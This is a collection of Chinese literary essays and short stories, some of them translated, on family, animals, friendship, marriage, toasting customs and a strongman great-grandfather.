　　我们不可能每一顿饭都这么吃，但至少可以每天花一点时间练习心无旁骛地“正念”饮食。你也不用觉得它是个宗教色彩很浓的仪式，你只需要把它当成认识美食的基本练习就行了。

爸爸的味道

张小娴

　　每个人身上都有一种独特的气味，日子久了，那种气味就代表他。

　　F 说，他爸爸是一家海鲜酒家的厨师，小时候，每晚爸爸下班回来，他都嗅到他身上有一股浓烈的腥味。他们住在一个狭小的房间里，爸爸身上的腥味令他很难受。他和爸爸的关系很差。考上大学之后，他立刻搬出去跟朋友住，父子俩每年只见几次面。

　　后来，他爸爸病危，躺在医院里。临终的时候，他站在爸爸的病榻旁边，老人家打着各种点滴，加上医院里浓烈的消毒药水的味道，他再也嗅不到小时候他常常嗅到的爸爸身上的那股腥味——那股为了养活一家人而换来的腥味。他把爸爸的手指放到自己鼻子前面，可是，那记忆里的腥味已经永远消失。那一刻，他才知道，那股他曾经十分讨厌的腥味原来是那么芳香。

　　爸爸走了，他身上的腥味却永存在儿子的脑海中，变成了悔疚。F 说，他不能原谅自己小时候曾经跟同学说：“我讨厌爸爸的味道。”

　　他记得他有一位同学的爸爸是修理汽车的，每次他来接儿子放学，身上都有一股修车房的味道。另一个同学的爸爸在医院工作，身上常常散发着医院的味道。

　　爸爸的味道，总是离不开他的谋生手段。爸爸老了，那种味道会随风逝去。我们是否尊重和珍惜他身上的味道？

　　你爸爸身上是什么味道呢？

狗难

柯灵

　　刮着风，天上有雨意。一个深秋的阴晦的午后，我从上海近郊踽踽地跑回寓所。

　　经过一处荒场的时候，耳边送过一串呜呜的狗哭，夹杂着断续的吠声，听起来悲哀而惨厉。

　　荒场上有乱莽莽的衰草，萧萧的白杨。一座孤坟上站满了人，大半是拾荒的孩子，目光都望着坟旁那个用洋铁皮围成的小型圜墙；圜墙四周也围着人，一个个弯着腰，把头贴近圜墙的隙处，仿佛正在窥探里面的秘密。

　　我好奇地走近去，一只狗正在里面作悲愤的绝叫；但忽地砰然一声，破空而起，同时那叫声就寂灭了。

　　我挤进人丛，找着一个小小空隙，也开始向里面窥探。——原来那是个“狗牢”，每天从街头巷尾被用铁车捉了去的野狗都关在这里，这时候正有人在执行野狗的死刑。

　　我占的地位很好，里面的一切看得很清楚。狗牢的一面有一道门，进门处就用铁丝网划出个小小的地位；铁丝网的防线以外，大约有几十匹大小不等的野狗，彷徨徨无计地来回走动。

　　它们的眼睛发着异样的光。尾巴下垂。像一群饿狼。但它们的眼色是乞怜的，而且神情也显然不能镇静了；无可奈何地徘徊瞻顾，哭泣般呜呜地叫着。有的侧过头望望铁丝网里面的人——它们的刽子手，接着昂首向天，绝望地狂吠几声，似乎要乞求制裁：有的沿了洋铁皮的墙脚惶惶然走着，走到墙角边，略一犹豫，便纵身向墙顶跳去，想逃出这末日的惨劫，可是墙太高了，跳墙的结局只是被猛的摔倒在地上。铁丝网里面走出一个汉子来，拿着一根竹杠，杠头上有一个活络的铁丝圈。

　　平时曾经听到过许多“义犬救主”一类故事，当那汉子闯入狗群的一刹那。它们便很快地从我的记忆中浮起，想到狗子们那一份天赋的聪明勇敢，我禁不住为那汉子担忧：我想他也许会被那些亡命之狗所包围的。可是接着我立刻知道那是一种可笑的杞忧了，因为他刚跑出铁丝网，狗子们就吃惊似的远远避开。

　　汉子对准一只壮大的黄狗走去，那黄狗只是后退。等到逼近身边，悻悻然张开口来的时候，却早被那汉子从容举起竹杠，用铁丝圈套住了它的头颈，——它的同类张皇地目送着它被拉进铁丝网，于是又彷徨无计地来回走着，呜呜地哭泣。

　　黄狗用它所有的力气在挣扎，在狺狺地绝叫，却被竹杠抵住了，动弹不得。另一个手里拿着怪异的手枪的人，把枪口对着了它的脑袋；砰！黄狗的眼睛应声翻了白，默默地倒下去了。汉子随手将它丢在一边，那儿堆着十几匹血痕狼藉的狗尸。

　　我闻到了一股刺鼻的血腥。

　　汉子又跑出铁丝网来了，这一回捉住了一只有点癞皮的黑狗。……我接连看了这被宰割的悲剧，最后向那些正在呜咽、呻吟、彷徨无计的狗子们，投了失望的一瞥，便匆匆离开了荒场。

　　呜呜的鸣声还是从后边传来，我有点悲戚。世上有一种奇怪的动物，他们有天赋的聪明，可是这聪明只用于对主子的愚忠；却没有合群自卫的习惯。狗子们的结局我已经看见了：跟黄狗和癞皮的黑狗那样，一例的，分别的宰割，直到最后一匹。

　　我恍惚参观了人间地狱的一面。

　　天色显得更灰黯，昙云压得低低的，恐怕就要下雨了。

槐花

汪曾祺

　　玉渊潭洋槐花盛开，像下了一场大雪，白得耀眼。来了放蜂的人。蜂箱都放好了，他的“家”也安顿了。一个刷了涂料的很厚的黑色的帆布篷子。里面打了两道土堰，上面架起几块木板，是床。床上一卷铺盖。地上排着油瓶、酱油瓶、醋瓶。一个白铁桶里已经有多半桶蜜。外面一个蜂窝煤炉子上坐着锅。一个女人在案板上切青蒜。锅开了，她往锅里下了一把干切面。不大会儿，面熟了，她把面捞在碗里，加了作料、撒上青蒜，在一个碗里舀了半勺豆瓣。一人一碗。她吃的是加了豆瓣的。

　　蜜蜂忙着采蜜，进进出出，飞满一天。

　　我跟养蜂人买过两次蜜，绕玉渊潭散步回来，经过他的棚子，大都要在他门前的树墩上坐一坐，抽一支烟，看他收蜜，刮蜡，跟他聊两句，彼此都熟了。

　　这是一个五十岁上下的中年人，高高瘦瘦的，身体像是不太好，他做事总是那么从容不迫，慢条斯理的。样子不像个农民，倒有点像一个农村小学校长。听口音，是石家庄一带的。他到过很多省。哪里有鲜花，就到哪里去。菜花开的地方，玫瑰花开的地方，苹果花开的地方，枣花开的地方。每年都到南方去过冬，广西，贵州。到了春暖，再往北翻。我问他是不是枣花蜜最好，他说是荆条花的蜜最好。这很出乎我的意外。荆条是个不起眼的东西，而且我从来没有见过荆条开花，想不到荆条花蜜却是最好的蜜。我想他每年收入应当不错。他说比一般农民要好一些，但是也落不下多少：蜂具，路费；而且每年要赔几十斤白糖——蜜蜂冬天不采蜜，得喂它糖。

　　女人显然是他的老婆。不过他们岁数相差太大了。他五十了，女人也就是三十出头。而且，她是四川人，说四川话。我问他：你们是怎么认识的？他说：她是新繁县人。那年他到新繁放蜂，认识了。她说北方的大米好吃，就跟来了。

　　有那么简单？也许她看中了他的脾气好，喜欢这样安静平和的性格？也许她觉得这种放蜂生活，东南西北到处跑，好耍？这是一种农村式的浪漫主义。四川女孩子做事往往很洒脱，想咋个就咋个，不像北方女孩子有那么多考虑。他们结婚已经几年了。丈夫对她好，她对丈夫也很体贴。她觉得她的选择没有错，很满意，不后悔。我问养蜂人：她回去过没有？他说：回去过一次，一个人。他让她带了两千块钱，她买了好些礼物送人，风风光光地回了一趟新繁。

　　一天，我没有看见女人，问养蜂人，她到哪里去了。养蜂人说：到我那大儿子家去了，去接我那大儿子的孩子。他有个大儿子，在北京工作，在汽车修配厂当工人。

　　她抱回来一个四岁多的男孩，带着他在棚子里住了几天。她带他到甘家口商场买衣服，买鞋，买饼干，买冰糖葫芦。男孩子在床上玩鸡啄米，她靠着被窝用勾针给他勾一顶大红的毛线帽子。她很爱这个孩子。这种爱是完全非功利的，既不是讨丈夫的欢心，也不是为了和丈夫的儿子一家搞好关系。这是一颗很善良，很美的心。孩子叫她奶奶，奶奶笑了。

　　过了几天，她把孩子又送了回去。

　　过了两天，我去玉渊潭散步，养蜂人的棚子拆了，蜂箱集中在一起。等我散步回来，养蜂人的大儿子开来一辆卡车，把棚柱、木板、煤炉、锅碗和蜂箱装好，养蜂人两口子坐上车，卡车开走了。

　　玉渊潭的槐花落了。

亲爱的小孩

陈晓霞

（一）

　　那时他还没在这世界上出现。我也才七岁稍多一点。有一天，我心血来潮，忽然想给未来的孩子取一个名字。我一边玩沙子一边苦思冥想。然后把一个七岁孩子所能想到的最时髦的名字，偷偷送给那个小孩。母亲在屋里蹬着缝纫机，对我的秘密一无所知。她没听到我那一声小母亲般的叹息，她根本不知道，她小小的女儿此时正在为谁操心。

　　似乎事情就在那时定了，他在未来等我，然后某一天，我们母子相逢。

　　人们把这归结为缘分。因为最终的结果真的是我和他，而不是我和她。是这样一个他，而不是另外一个他。一切命中注定。那天医生把他捆扎结实递到我怀里，一张湿漉漉的褶皱小脸立即覆盖了此前想象中的画报娃娃。我端详他，觉得真好。膻膻的味道好，嫩笋样的手指好，鲜红的嘴唇好，过于响亮的啼哭也好。千般描画万般想象，全抵不过一个小小身体贴向怀里的那一刻知心。重要的是，这知心是两个人的，因了一个从另一个身上的分离，我们对彼此了如指掌。别人了解的不了解的，接受和不接受的，我们都全盘接受。在这个世界面前，我们是天然的同盟。

　　我因此扬眉吐气。全世界的女人都是在做了母亲以后才真正变得理直气壮。因为她再不是一个人，她的人生有了更进一步的意义。那些在复杂关系中滋生出来的种种不适、对抗、沮丧、黯然神伤，因为孩子的到来不再成为问题。人们奇怪一向寡言的女子怎么忽然就开朗起来，她满不在乎地大笑，貌似爽朗地打着招呼，粗枝大叶地忽略掉一切令人不快的细节。这是内心笃定的人才有的大度。这一切全是因为这世界多了一个人。

　　我心甘情愿地退化回去。跟着他简单到只知饥饱、冷暖、高兴和不高兴。他的胖脚丫儿蹬在我脸上，或者我亲他西瓜似的肚皮。我们无拘无束，心无旁骛，像两只小狗咬来咬去。我们对彼此的傻气都很受用。他父亲已经对我们的表现习以为常。他曾试图加入我们的阵营，但看看两张冒着傻气的脸，还是笑着选择退出。

　　这样的日子颇具修复功能，我那么快就忘掉了曾经的磕碰和疼痛，整个人又完好如初。

（二）

　　一天，他兴冲冲跑过来，大声问：你们闻到青草的香味了吗？

　　正是阳春三月，我们走在公园里，除草机在辛勤工作。他不知道我和他父亲正密谋结束他的自由时光。他三岁了，得进幼儿园，去过群体生活。这是他接触世界的第一步，只有学会跟最小最简单的人打交道，将来他才可能应付更大更复杂的人。小孩对此一无所知。春天的景象让他高兴坏了。他欢天喜地跑过来，只想对心怀鬼胎的男女说出他的发现：你们你闻到青草的香味了吗？

　　有时我想，他凭什么那么死心塌地地信任我？

　　我曾指着他泡得起皱的小手说，再不从浴盆中出来，手指就会像香皂一样化掉。

　　我曾摸着他滑滑的脊背说，因为神仙把他的翅膀折起来了，他身后才有两块肩胛骨。

　　他毫不怀疑地相信了我。他还不知道世界上有欺骗这回事。

　　我利用这分信任抓紧实施了上学计划。我把他领进幼儿园，告诉他傍晚过来接他。我看到他眼中马上有胆怯闪过。他或许已经感到事情不妙，却什么也没说。三岁的小孩，已经知道在陌生环境里要有所克制。但是他不确定，傍晚，究竟要等多久。据老师说那一天他过得心事重重。不说，不笑，吃饭也少。那一定是他有生以来最漫长的煎熬。等他望穿秋水终于在教室门口见到我，眼圈马上红了起来。他径直走出教室，小胳膊紧紧抱着我，胸脯剧烈起伏。等他终于能够开口，他对这个给他设置了第一道陷阱的人说：妈妈，我想你了。

　　我承认，再没有第二个人如此一心一意地爱我。那些社交场里的客套，姐妹圈里的亲密，以及在华丽卡片上专门用“癆”字来体现温雅和重视的一份用心，都不及此时搭在我肩上的软软的小手，吹在我脖子上的热乎乎的气息和不再控制的一声声抽噎让我动心。

（三）

　　期末临近，我问他考试准备得怎样，他拿出一贯的低调：考完看呗。

　　呵。再不是那个豪情万丈的小孩了。那个以为自己有千里眼，能像鱼一样在水里待着，能造智能住宅，而且也能当妈妈的小孩，在为雄心壮志吃足苦头后，终于知道自己能力有限。9岁那年他万分羞愧地收回发出的按摩卡。那是他一时冲动的作品，足足100张，25张发给父亲，75张发给我，他自己来做按摩师。他以为这事很简单，动手后才发现困难远远超出想象。

　　大部分假期被他用来自得其乐。奶奶院子地下四通八达的通道，冰箱里口味各异的冰糕，以及可乐瓶改装的自动浇花的水漏，都是他逍遥快活的成果。他一整天都在房子里忙来忙去，爸爸的大拖鞋在他脚下“呱嗒呱嗒”响个不停。他操心着自己的“工程”，根本顾不上寂寞。

　　有一天，我尽量轻描淡写地说：“刘一凡请了位英语家教。”

　　他头也不抬地“哦”一声，完全出于礼貌。我说：“李竹楠报了吉他班。”

　　他在晾台上侍弄着花草，耐心地将枯叶除去，再把晒温的一瓶瓶清水浇灌下去。他看穿我的图谋，所以明确表态：“别给我报。”

　　我试图学邻居把孩子培养成多面手的雄心到此为止。因为我知道这温和的拒绝背后有多大决心。三年前我也曾对他强硬施压，结果是我摔了他的复读机，他把作业撕成碎片。这方面，我们是一个铁铺打出的刀枪，难分高下。

　　现在我怀疑13岁的孩子已经有了自己的狡猾。大多数日子他随和、顺从，轻易不露峥嵘。或许他受够了硬碰硬，所以改用另一种姿态应对。这和我的做法如出一辙。独子或者老生子们都有这种禀赋—事情还没发生，却已看到尽头。所以，与其激烈反抗招致不快，还不如不反抗；与其蜂蜂蝶蝶惹是生非，还不如开始就好自为之。我们都没有收拾残局的能力和耐心，所以干脆不去制造残局。看上去，他做得比我老到。

　　我们在好自为之中相安无事。回家见面，他会迈着男孩子懒洋洋的大步走过来，拍拍我的后背，叫声“老妈”。

　　他已经高出我半头。仗着这半头的优越，他帮我收拾餐桌，在他父亲出差的日子，晚上挨个查看窗户，中午让我小睡然后叫我。

　　偶尔，在我出门的一刻，他喊住我，知心地把我蓬起的一缕头发别到耳后去。

　　我亲爱的小孩，就这样长大了。

熟人厌烦症

迈克尔 · 金

　　我是在 11 路公交车上遇到菲利的，他是我的老同学，大学四年，我们是公认的铁哥们，连衣服都互相换着穿，所以，我们极其夸张地来了一次拥抱，煞是令旁人羡慕。

　　彼此问候，才知道我们都在墨西哥，他结了婚，我也有了家。所以，我竭尽全力地寻找关于工作、家人、小孩的话题，可惜，当初经常秉烛夜谈的我们似乎少了许多默契，只那么三言两语便结束了。

　　我有点尴尬，看菲利，他也不断地往窗外看，时不时向我挤出一丝刻意的笑容。这情景让我很难受，窗外挤满了抢道的出租车，死死地把我们堵在中央，好不容易爬进一段，刚好又遇上红灯。

　　时间很难熬，好几次挑起话题失败后，我只想赶紧下车，可是，前面还有一座很长的桥，而且，桥头还有个收费站，有一次为了交过桥费足足等了四十分钟，所以我很害怕，当然，不是因为公交车的堵塞，而是无法面对眼前的菲利。

　　在过桥前的最后一站，我霍然起身奔向门口，临下车那一刻，赶紧回头跟菲利打招呼，说先下了，以后常联系。他竟然站着，手里提着一大袋食品，爽朗地说，好，以后多聚聚。没想到菲利变化这么大，墨西哥真是磨炼人啊！明明没什么话说，他还说多聚聚。不过我不怪他，我说常联系也是客套话，在公交车上这么久，我们连联系方式都没留下，还怎么联系！

　　骄阳似火，虽然要步行过桥，但我心里轻松，走一段路总比两个人熬在车上强，再说了，过桥还要多收一块钱，我不亏。

　　难得步行看看桥上的风景，所以我情不自禁地哼起了小曲，心里盘算着过桥后拿一块钱给儿子买根棒棒糖，那家伙一定会抱着我的脖子使劲亲吻，哈！我忍不住提高了音调，可我耳朵里听到的并不是自己的声音，桥对面走来一人也在使劲哼同样的小曲，我扶了下眼镜仔细一瞧，心里重重地“咯噔”了一下，那人竟然是菲利，他看见我，立马也呆了。

　　他竟然往回走，难怪我下车的时候他站起来了，他宁愿过桥后再回来也不愿与我一起下车再聊上一段。好不容易才缓过神来，我们互相笑笑，说真巧啊！家里孩子等着吃饭呢，回头见！说完便逃也似地往前走，谁都不愿问为什么走这么长一段。

　　和菲利擦肩而过那一刻，我分明看见他脸上多了一丝沧桑，一双眼睛老在躲闪。我知道，他不再是当年的他，可是，我还是当年的我吗？骄阳已躲进云层，我仍觉得全身发热，加快脚步，只想赶紧走完剩下这段桥，也不买棒棒糖了，直接回家，拿面镜子好好瞧瞧。

婚姻是一种修养

胡杨

　　有多少种人，就有多少种婚姻。怎样才能成为幸福婚姻的女主人？

　　下面让我们来分别看看3种女人的不同婚姻吧。

　　第一种女人，她生性天真浪漫，以为婚姻是恋爱的递进，而踏上婚姻大道就是踏上了一条铺满玫瑰花的香径。

　　结果进入婚姻之后才发现，玫瑰不见了，浪漫消失了，爱情的温度下降了，而无尽的烦恼和琐碎扑面而来了。

　　女人眉头紧皱了：这是我要的婚姻吗？幸福在哪里？

　　她哭天抹泪外加找男人的麻烦，她们开始怀旧，希望时光倒流。在回忆与无奈中度日如年，渐渐地婚姻也就在她的怨尤中变成了两人的坟墓。

　　这样的女人是婚姻坟墓的女主人。

　　第二种女人，她高高兴兴地进入婚姻之门，心甘情愿地全身心投入到家庭中。而自从进入婚姻之门，女人身后的大门就被她哐当一声彻底地关上了，从此女人的世界就是这个家，家就是她的世界。

　　刚开始，婚姻让女人有安全感、舒适感，但是慢慢地女人发现，自己不知不觉成了丈夫和孩子奚落、讥笑的对象。因为她像一个井底之蛙，不知道外面的世界多精彩，又忘记了人生的根本目的是自我实现。

　　这样的女人往往是容易受伤的女人，是婚姻围城的女主人。

　　第三种女人，自从进入婚姻的那一刻，她就知道，婚姻是一个新的开始，是一个与家人一起成长的园地，她要更努力，成为婚姻这所学校里的优异生。

　　她一边经营婚姻，一边耕耘自己。婚姻在她那里是一块肥沃的土地，她播种、收获，并关注婚姻田地里每个成员的成长。婚姻之门对她而言一直是敞开着的，她的心性也是开放的，她与她的家庭成员之间是亲密的伙伴关系。

　　这样的女人，是幸福婚姻的女主人，人生沿途风景秀丽。

　　由此可见，不同的女人，不同的态度和修为，让婚姻成为不同的样子。

敬酒要喝

梁文道

　　我得先说清楚，夜总会一类的地方我是很少去的。不是我有多正经多清高，而是我真的很不喜欢那种昏昏暗暗灯红酒绿的地方；每次处身在那样的环境底下，我都会觉得自己特别低能，我不懂猜枚，也不玩骰盅，所以我实在领略不到“落 club”的乐趣。可是偶尔去一回，原来还是挺有教育意义的。

　　前年在深圳的一间夜总会里，我就遇见了想都想不到的情景：有一桌客人个个喝得头昏脑涨左摇右摆，说话的声音腔调愈来愈豪迈。仔细一看，原来他们手中各自握的不是酒杯，而是一枚小胶盒，里头放的全是药丸。我不知道那是什么丸，但应该就是让他们 high 得如此忘我的主要原因了。这帮人不是在斗酒，而是在斗“啪丸”。从斗酒发展到斗“啪丸”，这不可说不是一个飞跃性的“进步”。两年前如此，两年后的今天又如何呢？我就真是不知道了。

　　“敬酒”真是一种十分奇妙的行为。为什么大家就不能静下心来细细品酒，而要你敬我一杯我回你一杯地狼吞虎咽呢？其实这个道理就和我们之前谈过的“请客逻辑”一样，都是社会学家莫斯所说的“报”。例如在敬酒的时候，我们会特别讲究公平，如果你喝了一满杯，我也必须接受挑战跟着喝光整杯的酒。相反的，要是我自信满满，不只干杯而且还回敬一杯，但你却只是“随意”一口，那我就有权要求你也得干掉你那一杯了。若是你拒绝，就得自承不胜酒意认输，否则就是不给面子，后果可能很严重。大家喝多喝少不是自己的意愿，而是决定于你来我往的关系之中。一杯报一杯，一瓶换一瓶，其间不容半点弄虚作假。

　　很多人说这是中国人特有的陋习，既不文明也不现代。不少早年去大陆经商的港人谈起四处交际“队酒”的经验，仍是一脸惶恐心有余悸。可是放眼世界，从日本的居酒屋到德国与爱尔兰的“饮酒社”（drinking club），敬酒的方式虽然各有不同，但这种公平的饮酒竞赛其实到处都有，就和人类送礼请客的习惯一样，是普世的文明现象。收礼必须还礼，喝下人家的敬酒必然也要回敬一番。

　　类似北美印第安人的“夸富宴”，敬酒也是种分出彼此高下的方法。酒一轮轮地敬下来，谁能撑到最后谁就是赢家。过去在某些生意酬酢的场合之中，喝酒的赢家还真能占去最多的好处，得到最有利的条件，因为他是唯一神志清醒的人，其他人说不定早被灌得稀里糊涂满嘴说是了。读传记或小说，常常见到许多英雄都被描述为“千杯不倒的好汉”，似乎酒量也是判定英雄的标准之一，例如金庸笔下的“乔峰”。就算到了今天，我们虽然不再以酒量论成败，但要是说起某人很能喝，它也绝对不是贬义。无论什么时候，“好酒量”都是一种赞美。

　　比起“夸富宴”那种穷尽家财来请客的豪迈，无止境的敬酒是种更让人佩服也更叫人头疼的自夸方式；前者夸耀的是自己的财富身家，后者却是自己的生命能量。就算请客送礼到了一个视钱财如粪土的地步，你慷慨的也还是身外物罢了；但逢敬必干地饮酒却是在慷慨自己的一条命。或许这就是人类不敬咖啡不敬茶更不敬汽水的原因了，因为只有酒能致命。这世上还有什么比慷慨生命更豪迈、更令人折服呢？

　　人家举杯来敬酒就和送礼一样，你必须还报他，只不过要注意这份礼是能要命的。难怪英文里的“gift”兼具“礼物”和“毒药”二义了。

一个好人

詹姆斯 · 瑟伯

　　大约五年前，就在我的叔公马隆 · 泰勒从俄亥俄州哥伦布市搬去宾夕法尼亚州的旁苏托尼镇后不久，我看到一张泛黄的讣告，关于我的曾外祖父雅可布 · 费希尔的，贴在一本旧的家庭剪贴簿上。我得知雅可布出生于一八零八年，是迈克尔 · 费希尔的十一个孩子之一，迈克尔 · 费希尔在哥伦布市南边索西奥托河东岸盖了座小木屋，那是在一七九九年，乔治 · 华盛顿去世那一年。雅可布 · 费希尔的讣告的抬头是简简单单的“怀念”两字，下面记录着他身后有三个妹妹、一个弟弟、十三个孩子中的六个、三十二个孙辈以及六个曾孙辈。其余的内容除了引人注目的一句，都是颂扬逝者身上常见的美德——始终虔信上帝，与邻人友好相处，慷慨帮助穷人。在一个段落中凸现出来，吸引了我的眼睛并让我产生兴趣的那一句是这样的：“在他身强力壮之时，雅可布 · 费希尔是城南方圆好几英里力气最大的人。”就那么长，没有举例说明我的曾外祖父身体上的过人之处。在俄亥俄州一八八五年那篇庄重而严肃的怀念文字中，根本没有地方来无谓地颂扬可悲而速朽的凡身肉体。我读到那则讣告时，纳闷在谨慎地赞扬老杰克 · 费希尔的尘世力气时，背后又有什么。直到我一个月前去哥伦布市碰到也是去探亲的马隆 · 泰勒时，才算弄清楚。

　　在美国的土地上，那位老先生有了个相去甚远的后代。我很害怕去想他会怎么说起一个曾外孙结果成了作家。也许我多少可以将功补过的，是讲一个有内容的故事，而那个故事本来应该接着引起话题的那一句，讣告中的那句话就那么无声而孤零零地悬在那儿。他也会想要讣告里面有故事来代替他的美德清单。

　　马隆 · 泰勒是我妈妈那边的叔公，现年八十五岁，但还是我二十多年前见他时的样子。他站得直，走路利索，他的头脑、记忆力跟他的眼睛一样，都很管用，他的眼睛好得不戴眼镜还保证能开枪打死一只兔子，也能看书。他长了一头白色浓发，人们总是会恭维他的这一点。他的秘方容易而且花不了多少钱：三十年来，他每星期用老荷兰牌清洁剂洗一次头发。“我不知道老杰克用什么，”马隆说，“可是一直到死，他的头发都一直没掉，一直是黑色的。而且他到死都没有掉过牙——都在，除了一颗牙，那颗牙是在一次打架中，被人用砖块敲掉的。”

　　杰克 · 费希尔一辈子打过上千次架。当时，如果你去到阿莱干尼山脉以西，只有一种办法来解决争论或者意见不合。再往西，他们摔跤，用指甲把眼睛抠出来，但是在加拿大的西北地区，他们是站直了用拳头打架。有人会抄起一根棒子或者一块石头甚至一把宽刃斧，少数人抓起了枪，但大多数还是贴身肉搏，打出个结果。

　　“杰克打架从来没输过。”马隆说，“他跟虐待家中女性或者残酷对待愚蠢的动物的人打架，但是大部分时候，是为了支持自己的政治信仰或者为《圣经》文句带来的神圣启示辩护。‘现在不敬上帝的事情太他妈多了。’他以前经常说。他是个好人。”

　　雅可布 · 费希尔出生在一座小木屋里，当时杰斐逊是总统，他二十一岁时，安德鲁 · 杰克逊就职。马隆叔公说：“人们所说的你曾外祖父身强力壮的时候，差不多就是从那时开始，持续到克里夫兰总统的第一个任期。他受不了再熬民主党政府多掌一届权，所以他就死了。”杰克的政治偏见，似乎部分是由一八一二年的战争所决定。杰克逊将军下令处决一个年轻士兵，那个士兵开小差去见自己即将去世的母亲一面。杰克从他父亲那里听了这个故事，一直铭记在心。他见到姓杰克逊的男的就会揍他一顿，一次，有个东部来的演讲人在会堂的讲台上赞扬“老山核桃树”，他上去就那个人打倒了。后来他在那个人身边停下马车，那个人当时正捂着腮帮子在路上走。“上车，我送你去旅馆。”杰克说，那人不肯。“上车！”杰克吼道，那人就上了车。动过拳头就一了百了地解决了问题，不允许后来仍怀恨在心。如果杰克把一个人的肋骨或者下巴打骨折了，他会把那人送回家。他经常会彻夜守在那个被打垮的敌人的床边，给他抹药水或者换绷带。他可以帮忙接生，在有人去世的人们家里，他的声音能安慰人。“核桃山公墓的墓坑差不多全是杰克一个人挖的，”马隆叔公说，“他从来不让任何人帮忙。”

　　雅可布 · 费希尔在哥伦布市南边那里盖了座石头房子，是当地的第一座，人们经常从市里过来，看他抱起一块三百磅重的花岗岩放到位置。“他只有五英尺十英寸多一点点，”马隆叔公说，“可是他体重达一百九十八磅，主要都是骨头和肌骨。他的髋骨和肋骨之间，搁不下一根手指，他就是长得那么紧凑。他走路很直，从来不会先磨坏鞋跟或者鞋掌——磨损都是同样的。”在杰克所建的那座房子周围，慢慢有了个面积达一万英亩的农场。俄亥俄运河穿过他的广阔农场一角，河上有来往阿森斯的驳船。另外，奇利科西收费公路也穿过他的地产的一端。杰克拥有一个很大的砾石坑，他允许那条道路的承包商想用多少砾石就用多少，不言而喻的是杰克永远不需要付过路费。公路竣工后，收费站建了起来，那条协议却被置之脑后。杰克驾着马车到这里时，那根杆会搁在原处拦住路。“他会下车，把收费员收拾一顿。”马隆叔公告诉我，“然后把收费杆抬起来，驾车过去。他们派了一个比一个长得更魁梧、力气更大的人当收费员，杰克把他们全收拾了一遍，总共八个，最后他失去了耐心，威胁说要直接找他们的老板，把老板收拾一顿，之后他们就不敢再惹他。杰克的马车还有四分之一英里远时，收费员就把收费杆抬起来。

　　运河本身也进入了我曾外祖父的传奇故事中。如果你站在他家的后面走廊上，能看到半英里外，船只慢慢地驶过这片地方。偶尔，一条驳船驶来时，杰克会把手拢在嘴边，声音低沉而有力地喊：“给我捎点威士忌！”驳船回程时，五桶酒会被扔到杰克的田地上。他不喝酒，不抽烟，也不嚼烟，但是他的雇工要。杰克尚不满四十岁时，请了有十五个黑人来帮工。每个人都有酒壶和杯子，酒桶放在一间披棚里，什么时候想喝威士忌都可以去喝。如果有谁喝得烂醉或者醉得不想干活，杰克就会用一根山胡桃枝抽他，让他清醒。那些人一是害怕这个大人物的鞭子，二是因为对他真的是忠心耿耿，学会喝得有节制。“你的曾外祖父，”马隆叔公说，“是富兰克林县第一个跟黑人同桌吃饭的，这件事在长老会教堂引起很多议论，杰克却只是说：‘如果一个人好得能给我干活，他就好得能跟我一起吃饭。’那样就没人再议论了。”

　　有一天，运河上闹翻了天，恶战一场。杰克散步到运河边，看到了让人丧气的一幕。撑驳船的人正在“鞭抽鸭子”，每人手里拿着一根鞭稍长的赶牛鞭。他们的娱乐，是把鞭子向运河上浮着的鸭子抽去，抽得让鞭稍在鸭子的脖子上缠了几圈。然后他们会猛地一下把鸭子拖上驳船。驳船上的人在这种古怪的消遣上很拿手，捉了很多鸭子，而鸭子是杰克的。他跑到拖船道那里，从骑在骡子上昏昏欲睡的那个男孩手里抓过纤绳，把拖船拖到岸上。“他大发雷霆时，能把一个身高六英尺的人摔出二十英尺那么远。”马隆叔公说，“那天很多人的头破了，骨头断了，但是没死人。你的曾外祖父从来不是冲着人的性命去——除了一个印第安人。他是个好人。”

　　我问那个印第安人是怎么回事。杰克 · 费希尔身强力壮的头三十年里，俄亥俄州中部有很多印第安人，也许是倒木战役中打过仗的那些勇士的后代。他们让杰克感到烦恼，是因为尽管他们摔跤摔不过他，举东西举不过他，却跑得比他快。“只要让我抓到他们，”他经常向往地说，“就能不让他们跑掉。”他从未放弃过努力。“有一次在河西岸以前鹿去舔盐的地方，”马隆叔公告诉我，“他向一个印第安人挑战竞走——看谁能先到一棵老榆树那里。”那个印第安人领先几步赢了，你的曾外祖父跑回去，从放枪的地方拿起枪向那个印第安人开了一枪。他没被打死，但伤得很重。杰克把他背回自己家里，照顾他苏醒过来。一连几个星期，老费希尔每天晚上睡觉不超过两三个钟头，熬夜坐着陪那个印第安人。那个人以为自己快死了，坦白了自己所犯的罪过，包括之前五年县里发生过的大多数偷盗和诈骗案件。你的曾外祖父从来没把他交出去。杰克总是说他向那个印第安人开枪时，全能的上帝让他瞄不准。

　　那件事情过后没多久，杰克成了骑兵民兵连的上尉，这个连队的主要任务，就是在公开执行绞刑时维持秩序。费希尔上尉执行公务时，挎一把马刀，可是他再也没有拿起过枪，即使要面对一个手持武器的人。有个十一月的晚上，斯坦博出现在费希尔家房子外面的路上。他是个动作敏捷、宽肩膀的邻居，他跟杰克的儿子米尔特 · 费希尔有仇。当时是晚饭时候，杰克刚做完餐前祷告，他手下的一个黑人跑进餐厅。“斯坦博来找米尔特先生了！”他说，“他一只手拿了把散弹枪，另一只手拿着宽刃斧！”杰克让米尔特和他的另外几个儿子坐着别动。他从领子上取下餐巾出去了，赤手空拳。“杰克抓过斯坦博的枪，把它一折两段。”马隆叔公说，“接着又喀嚓一声把斧头柄折断了，把碎片全扔了。就像你折断一根棍子一样，他赤手空拳，把枪和斧头全折断了。”

　　萨穆特堡被围时，仍然结实得像块大石头的杰克 · 费希尔刚满五十三岁。他们不肯让他参军，所以他留在家里，用拳头跟“铜头蛇”和油嘴滑舌的爱国者打架。“碰上赶集日，杰克会收拾多达六到八个人。”马隆叔公说，“主要是那些怀疑林肯的政策或者叛军取得一次胜利后就害怕的人。有一次，一个骑马的人大声说什么话，让你的曾外祖父生气了，杰克要他下马，那个人正在脱下外套、摆开架式准备开打时，杰克走到马的跟前。‘我们需要腾点地方。’他说，‘我把你摔倒时，不想砸到这匹马。’他说完就把那匹牲畜抱起来，挪开八到十英尺。他在自己的铁匠铺就经常干这种事——有时候挪牲畜要比把它往哪儿拉要容易。好了，那人看到这一幕，撒脚就跑了，跑得比那个印第安人还快。”

